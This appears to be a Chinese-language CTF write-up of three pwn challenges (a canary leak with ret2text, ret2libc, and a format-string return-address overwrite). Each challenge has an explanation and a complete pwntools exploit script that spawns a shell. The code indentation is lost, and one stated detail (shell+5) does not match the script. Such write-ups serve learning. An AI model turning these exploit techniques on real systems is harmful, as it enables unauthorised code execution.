0x00 前言

家鄉的CTF比賽,本來是來刷個臉熟的,結果打到了第5,沒有前三實在可惜。也有可能國内的大手子們在打L3H沒空理這邊。比較意外的是,這個比賽居然是SU出題的,不過面嚮菜鳥的比賽也不會難道哪裏去。這次的PWN還挺有意思,讓我搞懂了bss段上的fmtstr,同時因爲最近在看pwn college的fmtstr部分,對這方面有了更多的理解

0x01 題解部分

ez-canary

Checksec:

Arch:       amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

程序邏輯如下:
利用 13 行的 printf() leak canary:
同時程序中存在後門函數
ret2text 即可。注意 /flag.txt 中的才是真 flag
Exp:

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/canary'
elf=ELF(file)

choice = 0x00
if choice:
port= 32003
mo = 'public-chall-2025.mocsctf.com'
p = remote(mo,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

payload = b'%11$p'
sa('find it and get it\n',payload)
ru('0x')
canary = int(r(16),16)
leak('canary')

backdoor = 0x0000000004006F7
payload=p64(canary)
payload=payload.rjust(0x30,b'a')
payload+=b'a'*8
payload+=p64(backdoor)

sla('start your attack\n',payload)

itr()

ez-stack

Checksec:

Arch:       amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

程序邏輯如下:
簡單的 ret2libc, 需要注意的是 2.27 版本中由於收到 leave 的影響,導致第二次 read 會被第一次覆蓋 rbp 的值影響,我們需要在第一次 read 將 rbp 覆蓋為一個可寫的地址, 這裏選擇的是 bss 段

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/licb/pwn'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/licb/libc.so.6')

choice = 0x00
if choice:
port= 32003
mo = 'public-chall-2025.mocsctf.com'
p = remote(mo,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

main=0x0000000004006C4
pop_rdi =0x0000000000400843
ret = 0x000000000040025e

payload = b'a'*(0x20)+p64(0x600d00+0x20)+flat(pop_rdi,elf.got['puts'],elf.plt['puts'],main)

sa('try to get the flag\n',payload)

puts_addr= uu64(r(6))
leak('puts_addr')
libc_base = puts_addr-libc.sym['puts']
leak('libc_base')

system,binsh=get_sb()

payload = b'a'*0x28+flat(ret,pop_rdi,binsh,system)
pause()
s(payload)

itr()

ez-fmt

Checksec

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

程序邏輯如下:
有多次非棧上 fmtstr 漏洞可以利用,而且想停就停(輸入”su str done!”就能終止無限循環),接下來看看棧上有什麽能利用的
這裏有一個指向棧上的地址,我們可以利用 %c%x$n 的組合去篡改對應地址的内容,簡單查看一下這個地址附近的位置,因爲我們需要把 str_test 函數的返回地址,也就是 rsp+8 這個位置寫成程序中自帶的後門函數:
所以我們需要先想辦法把 rsp+8 這個地址寫到棧上
可以往+8 或者-8 的位置上寫入,我們首先要做的就是通過 rsp+38 的内容(指向 rsp+128 的地址)去篡改 rsp+128 的内容,首先先是把 rsp+128 的地址給泄露出來:
使用 %13$p 即可,通過計算得出,泄露出的地址與我們 main 函數的返回地址相差 0x7ffe18e43d48 - 0x7ffe18e43c28 = 0x120,所以可以將rsp+128 地址的内容篡改為 str_test 函數返回地址所在的地址,只寫入后兩字節即可。
payload 第一部分:

payload = b'%13$p'
sla('Input your message: ',payload)
ru('Your message:\n')
stack = int(r(14),16)
leak('stack')

payload = '%'+str((stack-0x120)&0xffff)+'c%13$hn'
sa('Input your message: ',payload)

效果如下:
接著利用這個指向 str_test 函數返回地址的地址去篡改為 backdoor 即可,第二段 payload:

shell = 0x000000000040128C
payload = '%'+str(shell)+'c%43$n'
sa('Input your message: ',payload)

效果如下:
這裏有一個小細節,我將返回地址改成了 shell+5 而不是 shell,這是因爲程序使用 Ubuntu GLIBC 2.35-0ubuntu3.9 在執行 system('/bin/sh') 時要求棧地阯 16 字節對齊,+5 是爲了越過一個 push 指令。最後發送 "su str done!" 終止循環,讓函數返回到精心構造的main函數中,即可 get shell
Exp:

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/fmt/chall'
elf=ELF(file)

choice = 0x00
if choice:
port= 32003
mo = 'public-chall-2025.mocsctf.com'
p = remote(mo,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

debug()

payload = b'%13$p'

sla('Input your message: ',payload)
ru('Your message:\n')
stack = int(r(14),16)
leak('stack')

shell = 0x000000000040128C

payload = '%'+str((stack-0x120)&0xffff)+'c%13$hn'
sa('Input your message: ',payload)

payload = '%'+str(shell)+'c%43$n'
sa('Input your message: ',payload)

sa('Input your message: ',b'su str done!\x00')

itr()